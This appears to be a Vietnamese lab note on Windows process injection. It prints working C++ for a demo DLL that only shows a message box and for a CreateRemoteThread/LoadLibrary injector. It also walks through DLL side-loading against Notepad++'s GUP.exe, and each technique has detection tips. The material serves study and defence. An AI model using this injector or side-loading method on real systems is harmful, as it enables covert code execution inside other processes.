Implement tấn công

DLL injection

Tạo DLL độc hại hiển thị thông báo Meow from evil.dll! biên dịch từ đoạn code sau:

#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

Phần Code c++ tạo inj.exe để injection

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
int main(int argc, char* argv[]) {
    HANDLE ph; // process handle
    HANDLE rt; // remote thread
    LPVOID rb; // remote buffer
    // handle to kernel32 and pass it to GetProcAddress
    HMODULE hKernel32 = GetModuleHandle("Kernel32");
    VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
    // parse process ID
    if ( atoi(argv[1]) == 0) {
        printf("PID not found :( exiting...\n");
        return -1;
    }
    printf("PID: %i", atoi(argv[1]));
    ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    // allocate memory buffer for remote process
    rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    // "copy" evil DLL between processes
    WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
    // our process start new thread
    rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
    CloseHandle(ph);
    return 0;
}

Khởi chạy win32calc.exe và chạy chương trình inject vào process đó

Xác minh DLL độc hại đã được đưa vào sử dụng Process Hacker

Detection: kiểm tra danh sách các module import và tìm các vùng nhớ có quyền đọc ghi của process

PE injection

Code triển khai: https://github.com/ollahneew/DLL-Attacks/blob/main/pe_inj.cpp

Detection:

Xem xét Event số 8 trong Sysmon

DLL Side-loading

  • Thủ thuật chiếm đoạt thứ tự tìm kiếm DLL của một ứng dụng hợp lệ.

  • Lợi dụng các tệp manifest được cấu hình kém bằng cách đặt một DLL độc hại trùng tên với một DLL hợp pháp ở vị trí ưu tiên mà ứng dụng sẽ load nó lên trước DLL hợp lệ

GUP.exe được sử dụng để xác minh các bản cập nhật cho Notepad++

Áp dụng Filter trong Procmon, sẽ tìm thấy dll này. libcurl là một thư viện được sử dụng để kết hợp curl vào mã.

Khi rename file này, sẽ gặp lỗi khi mở ứng dụng

Như vậy, nếu không có DLL đó, nó sẽ gây ra lỗi trong ứng dụng

Kiểm tra Import Address Table (IAT) trong GUP.exe sử dụng dumpbin /IMPORTS.

Chỉ có 4 hàm có trong IAT trong GUP.exe, vì vậy chúng ta có thể triển khai chúng.

Thay đổi cấu hình trong file config.xml để Notepad++ luôn mở GUP.exe mỗi khi chạy: (Path: C:\Users\Administrator\AppData\Roaming\Notepad++)

Sửa thành

Tạo DLL độc hại từ các file dllmainSource.def sử dụng Visual Studio

Đổi tên DLL gốc và thay thế nó. Khi mở Notepad++, nó sẽ hiển thị như vậy.

Detection

  • Kiểm tra các import DLL, Kiểm tra các process có kết nối mạng bất thường, tạo dLL whitelist để theo dõi các giá trị hash của DLL được sử dụng trên hệ thống

Tham khảo:

https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html

https://www.letsdefend.io/blog/process-injection-detection-with-sysmon

https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes

https://medium.com/@mateus.tesser/dll-proxying-and-dll-side-loading-in-notepad-and-why-this-bypass-some-defenses-87bd9f7211f1

Last updated